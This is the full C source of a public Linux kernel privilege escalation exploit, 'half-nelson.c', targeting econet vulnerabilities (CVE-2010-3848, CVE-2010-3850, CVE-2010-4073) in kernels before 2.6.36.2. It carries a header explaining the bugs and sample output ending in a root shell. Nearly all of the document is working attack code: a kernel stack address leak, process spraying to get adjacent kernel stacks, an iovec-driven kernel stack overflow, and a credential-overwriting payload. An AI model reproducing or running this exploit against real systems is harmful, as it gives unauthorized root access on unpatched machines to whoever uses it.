CVE-2010-3848 & CVE-2010-3850

local exploit for Linux kernel < 2.6.36.2 x64

/*
 * half-nelson.c
 *
 * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
 *
 *   Stack-based buffer overflow in the econet_sendmsg function in
 *   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
 *   econet address is configured, allows local users to gain privileges by
 *   providing a large number of iovec structures.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
 *
 *   The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
 *   before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
 *   allows local users to bypass intended access restrictions and configure
 *   econet addresses via an SIOCSIFADDR ioctl call.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
 *
 *   The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
 *   initialize certain structures, which allows local users to obtain
 *   potentially sensitive information from kernel stack memory.
 *
 * Usage:
 *
 *   $ gcc half-nelson.c -o half-nelson -lrt
 *   $ ./half-nelson
 *   [+] looking for symbols...
 *   [+] resolved symbol commit_creds to 0xffffffff81088ad0
 *   [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
 *   [+] resolved symbol ia32_sysret to 0xffffffff81046692
 *   [+] spawning children to achieve adjacent kstacks...
 *   [+] found parent kstack at 0xffff88001c6ca000
 *   [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
 *   [+] lower child spawning a helper...
 *   [+] lower child calling compat_sys_wait4 on helper...
 *   [+] helper going to sleep...
 *   [+] upper child triggering stack overflow...
 *   [+] helper woke up
 *   [+] lower child returned from compat_sys_wait4
 *   [+] parent's restart_block has been clobbered
 *   [+] escalating privileges...
 *   [+] launching root shell!
 *   # id
 *   uid=0(root) gid=0(root)
 *
 * Notes:
 *
 *   This exploit leverages three vulnerabilities to escalate privileges.
 *   The primary vulnerability is a kernel stack overflow, not a stack buffer
 *   overflow as the CVE description incorrectly states. I believe this is the
 *   first public exploit for a kernel stack overflow, and it turns out to be
 *   a bit tricky due to some particulars of the econet vulnerability. A full
 *   breakdown of the exploit is forthcoming.
 *
 *   Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>
 
#define IOVS       446
#define NPROC      1024
#define KSTACK_SIZE  8192
 
#define KSTACK_UNINIT  0
#define KSTACK_UPPER   1
#define KSTACK_LOWER   2
#define KSTACK_DIE   3
#define KSTACK_PARENT  4
#define KSTACK_CLOBBER 5
 
#define LEAK_BASE    0xffff880000000000
#define LEAK_TOP     0xffff8800c0000000
#define LEAK_DEPTH   500
#define LEAK_OFFSET  32
 
#define NR_IPC     0x75
#define NR_WAIT4     0x72
#define SEMCTL     0x3
 
#ifndef PF_ECONET
#define PF_ECONET    19
#endif
 
#define STACK_OFFSET   6
#define RESTART_OFFSET 40
 
struct ec_addr {
  unsigned char station;
  unsigned char net;
};
 
struct sockaddr_ec {
  unsigned short sec_family;
  unsigned char port;
  unsigned char cb;
  unsigned char type;
  struct ec_addr addr;
  unsigned long cookie;
};
 
struct ipc64_perm {
  uint32_t key;
  uint32_t uid;
  uint32_t gid;
  uint32_t cuid;
  uint32_t cgid;
  uint32_t mode;
  uint16_t seq;
  uint16_t __pad2;
  unsigned long __unused1;
  unsigned long __unused2;
};
 
struct semid64_ds {
  struct ipc64_perm sem_perm;
  unsigned long sem_otime;
  unsigned long __unused1;
  unsigned long sem_ctime;
  unsigned long __unused;
  unsigned long sem_nsems;
  unsigned long __unused3;
  unsigned long __unused4;
};
 
union semun {
  int val;
  struct semid_ds *buf;
  unsigned short *array;
  struct seminfo *__buf;
};
 
struct region {
  unsigned long parent;
  unsigned long addrs[NPROC];
};
struct region *region;
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;
  
void __attribute__((regparm(3)))
kernel_code(void)
{
  commit_creds(prepare_kernel_cred(0));
}
 
void
payload_parent(void)
{
  asm volatile (
    "mov $kernel_code, %rax\n"
    "call *%rax\n"
  );
}
 
void
payload_child(void)
{
  asm volatile (
    "movq $payload_parent, (%0)\n"
    "jmpq *%1\n"
    :
    : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
  );
}
 
unsigned long
get_kstack(void)
{
  int i, size, offset;
  union semun *arg;
  struct semid_ds dummy;
  struct semid64_ds *leaked;
  char *stack_start, *stack_end;
  unsigned char *p;
  unsigned long kstack, *ptr;
 
  /* make sure our argument is 32-bit accessible */
  arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | 
    MAP_PRIVATE | MAP_32BIT, -1, 0);
  if (arg == MAP_FAILED) {
    printf("[-] failure mapping memory, aborting!\n");
    exit(1);
  }
 
  /* map a fake stack to use during syscall */
  stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS |
   MAP_PRIVATE | MAP_32BIT, -1, 0);
  if (stack_start == MAP_FAILED) {
    printf("[-] failure mapping memory, aborting!\n");
    exit(1);
  }
  stack_end = stack_start + 4096;
 
  memset(arg, 0, sizeof(union semun));
  memset(&amp;dummy, 0, sizeof(struct semid_ds));
  arg->buf = &amp;dummy;
 
  /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
  asm volatile (
    "push %%rax\n"
    "push %%rbx\n"
    "push %%rcx\n"
    "push %%rdx\n"
    "push %%rsi\n"
    "push %%rdi\n"
    "movl %0, %%eax\n"
    "movl %1, %%ebx\n"
    "movl %2, %%ecx\n"
    "movl %3, %%edx\n"
    "movl %4, %%esi\n"
    "movq %5, %%rdi\n"
    "movq %%rsp, %%r8\n"
    "movq %6, %%rsp\n"
    "push %%r8\n"
    "int $0x80\n"
    "pop %%r8\n"
    "movq %%r8, %%rsp\n"
    "pop %%rdi\n"
    "pop %%rsi\n"
    "pop %%rdx\n"
    "pop %%rcx\n"
    "pop %%rbx\n"
    "pop %%rax\n"
    :
    : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
    : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
  );
 
  /* naively extract a pointer to the kstack from the kstack */
  p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
  kstack = *(unsigned long *) p;
 
  if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
    printf("[-] failed to leak a suitable kstack address, try again!\n");
    exit(1);
  }
  if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
    printf("[-] failed to leak a suitable kstack address, try again!\n");
    exit(1);
  }
 
  kstack = kstack &amp; ~0x1fff;
   
  return kstack;
}
 
unsigned long
get_symbol(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy, sym[512];
  int ret = 0;
  
  f = fopen("/proc/kallsyms", "r");
  if (!f) {
    return 0;
  }
  
  while (ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **) &amp;addr, &amp;dummy, sym);
    if (ret == 0) {
      fscanf(f, "%s\n", sym);
      continue;
    }
    if (!strcmp(name, sym)) {
      printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
      fclose(f);
      return addr;
    }
  }
  fclose(f);
  
  return 0;
}
 
int
get_adjacent_kstacks(void)
{
  int i, ret, shm, pid, type;
 
  /* create shared communication channel between parent and its children */
  shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG 
    | S_IRWXO);
  if (shm < 0) {
    printf("[-] failed creating shared memory, aborting!\n");
    exit(1);
  }
 
  ret = ftruncate(shm, sizeof(struct region));
  if (ret != 0) {
    printf("[-] failed resizing shared memory, aborting!\n");
    exit(1);
  }
 
  region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, 
    MAP_SHARED, shm, 0);
  memset(region, KSTACK_UNINIT, sizeof(struct region));
 
  /* parent kstack self-discovery */
  region->parent = get_kstack();
 
  printf("[+] found parent kstack at 0x%lx\n", region->parent);
 
  /* fork and discover children with adjacently-allocated kernel stacks */
  for (i = 0; i < NPROC; ++i) {
    pid = fork();
 
    if (pid > 0) {
      type = KSTACK_PARENT;
      continue;
    } else if (pid == 0) {
      /* children do kstack self-discovery */
      region->addrs[i] = get_kstack();
 
      /* children sleep until parent has found adjacent children */
      while (1) {
        sleep(1);
        if (region->addrs[i] == KSTACK_DIE) {
          /* parent doesn't need us :-( */
          exit(0);
        } else if (region->addrs[i] == KSTACK_UPPER) {
          /* we're the upper adjacent process */
          type = KSTACK_UPPER;
          break;
        } else if (region->addrs[i] == KSTACK_LOWER) {
          /* we're the lower adjacent process */
          type = KSTACK_LOWER;
          break;
        }
      }
      break;
    } else {
      printf("[-] fork failed, aborting!\n");
      exit(1);
    }
  }
 
  return type;
}
 
void
do_parent(void)
{
  int i, j, upper, lower;
 
  /* parent sleeps until we've discovered all the child kstacks */
  while (1) {
    sleep(1);
    for (i = 0; i < NPROC; ++i) {
      if (region->addrs[i] == KSTACK_UNINIT) {
        break;
      }
    }
    if (i == NPROC) {
      break;
    }
  }
 
  /* figure out if we have any adjacent child kstacks */
  for (i = 0; i < NPROC; ++i) {
    for (j = 0; j < NPROC; ++j) {
      if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
        break;
      }
    }
    if (j != NPROC) {
      break;
    }
  }
  if (i == NPROC &amp;&amp; j == NPROC) {
    printf("[-] failed to find adjacent kstacks, try again!\n");
    exit(1);
  }
 
  upper = i;
  lower = j;
 
  printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", 
    region->addrs[lower], region->addrs[upper]);
 
  /* signal to non-adjacent children to die */
  for (i = 0; i < NPROC; ++i) {
    if (i != upper &amp;&amp; i != lower) {
      region->addrs[i] = KSTACK_DIE;
    }
  }
 
  /* signal adjacent children to continue on */
  region->addrs[upper] = KSTACK_UPPER;
  region->addrs[lower] = KSTACK_LOWER;
 
  /* parent sleeps until child has clobbered the fptr */
  while (1) {
    sleep(1);
    if (region->parent == KSTACK_CLOBBER) {
      break;
    }
  }
 
  printf("[+] escalating privileges...\n");
 
  /* trigger our clobbered fptr */
  syscall(__NR_restart_syscall);
 
  /* our privileges should be escalated now */
  if (getuid() != 0) {
    printf("[-] privilege escalation failed, aborting!\n");
    exit(1);
  }
 
  printf("[+] launching root shell!\n");
 
  execl("/bin/sh", "/bin/sh", NULL);
}
 
void
do_child_upper(void)
{
  int i, ret, eco_sock;
  struct sockaddr_ec eco_addr;
  struct msghdr eco_msg;
  struct iovec iovs[IOVS];
  struct ifreq ifr;
  char *target;
 
  /* calculate payload target, skip prologue */
  target = (char *) payload_child;
  target += 4;
   
  /* give lower child a chance to enter its wait4 call */
  sleep(1);
 
  /* write some zeros */
  for (i = 0; i < STACK_OFFSET; ++i) {
    iovs[i].iov_base = (void *) 0x0;
    iovs[i].iov_len = 0;
  }
 
  /* overwrite saved ia32_sysret address on stack */
  iovs[STACK_OFFSET].iov_base = (void *) target;
  iovs[STACK_OFFSET].iov_len = 0x0246;
 
  /* force abort via EFAULT */
  for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
    iovs[i].iov_base = (void *) 0xffffffff00000000;
    iovs[i].iov_len = 0;
  }
 
  /* create econet socket */
  eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
  if (eco_sock < 0) {
    printf("[-] failed creating econet socket, aborting!\n");
    exit(1);
  }
 
  memset(&amp;ifr, 0, sizeof(ifr));
  strcpy(ifr.ifr_name, "lo");
 
  /* trick econet into associated with the loopback */
  ret = ioctl(eco_sock, SIOCSIFADDR, &amp;ifr);
  if (ret != 0) {
    printf("[-] failed setting interface address, aborting!\n");
    exit(1);
  }
 
  memset(&amp;eco_addr, 0, sizeof(eco_addr));
  memset(&amp;eco_msg, 0, sizeof(eco_msg));
  eco_msg.msg_name = &amp;eco_addr;
  eco_msg.msg_namelen = sizeof(eco_addr);
  eco_msg.msg_flags = 0;
  eco_msg.msg_iov = &amp;iovs[0];
  eco_msg.msg_iovlen = IOVS;
 
  printf("[+] upper child triggering stack overflow...\n");
 
  /* trigger the kstack overflow into lower child's kstack */
  ret = sendmsg(eco_sock, &amp;eco_msg, 0);
  if (ret != -1 || errno != EFAULT) {
    printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
    exit(1);
  }
 
  close(eco_sock);
}
 
void
do_child_lower(void)
{
  int pid;
 
  printf("[+] lower child spawning a helper...\n");
 
  /* fork off a helper to wait4 on */
  pid = fork();
  if (pid == 0) {
    printf("[+] helper going to sleep...\n");
    sleep(5);
    printf("[+] helper woke up\n");
    exit(1);
  }
 
  printf("[+] lower child calling compat_sys_wait4 on helper...\n");
 
  /* syscall(NR_WAIT4, pid, 0, 0, 0) */
  asm volatile (
    "push %%rax\n"
    "push %%rbx\n"
    "push %%rcx\n"
    "push %%rdx\n"
    "push %%rsi\n"
    "movl %0, %%eax\n"
    "movl %1, %%ebx\n"
    "movl %2, %%ecx\n"
    "movl %3, %%edx\n"
    "movl %4, %%esi\n"
    "int $0x80\n"
    "pop %%rsi\n"
    "pop %%rdx\n"
    "pop %%rcx\n"
    "pop %%rbx\n"
    "pop %%rax\n"
    :
    : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
    : "memory", "rax", "rbx", "rcx", "rdx", "rsi"
  );
 
  printf("[+] lower child returned from compat_sys_wait4\n");
 
  printf("[+] parent's restart_block has been clobbered\n");
 
  /* signal parent that our fptr should now be clobbered */
  region->parent = KSTACK_CLOBBER;
}
 
int
main(int argc, char **argv)
{
  int type;
 
  if (sizeof(unsigned long) != 8) {
    printf("[-] x86_64 only, sorry!\n");
    exit(1);
  }
 
  printf("[+] looking for symbols...\n");
  
  commit_creds = (_commit_creds) get_symbol("commit_creds");
  if (!commit_creds) {
    printf("[-] symbol table not available, aborting!\n");
    exit(1);
  }
  
  prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
  if (!prepare_kernel_cred) {
    printf("[-] symbol table not available, aborting!\n");
    exit(1);
  }
 
  ia32_sysret = get_symbol("ia32_sysret");
  if (!ia32_sysret) {
    printf("[-] symbol table not available, aborting!\n");
    exit(1);
  }
 
  printf("[+] spawning children to achieve adjacent kstacks...\n");
 
  type = get_adjacent_kstacks();
 
  if (type == KSTACK_PARENT) {
    do_parent();
  } else if (type == KSTACK_UPPER) {
    do_child_upper();
  } else if (type == KSTACK_LOWER) {
    do_child_lower();
  }
 
  return 0;
}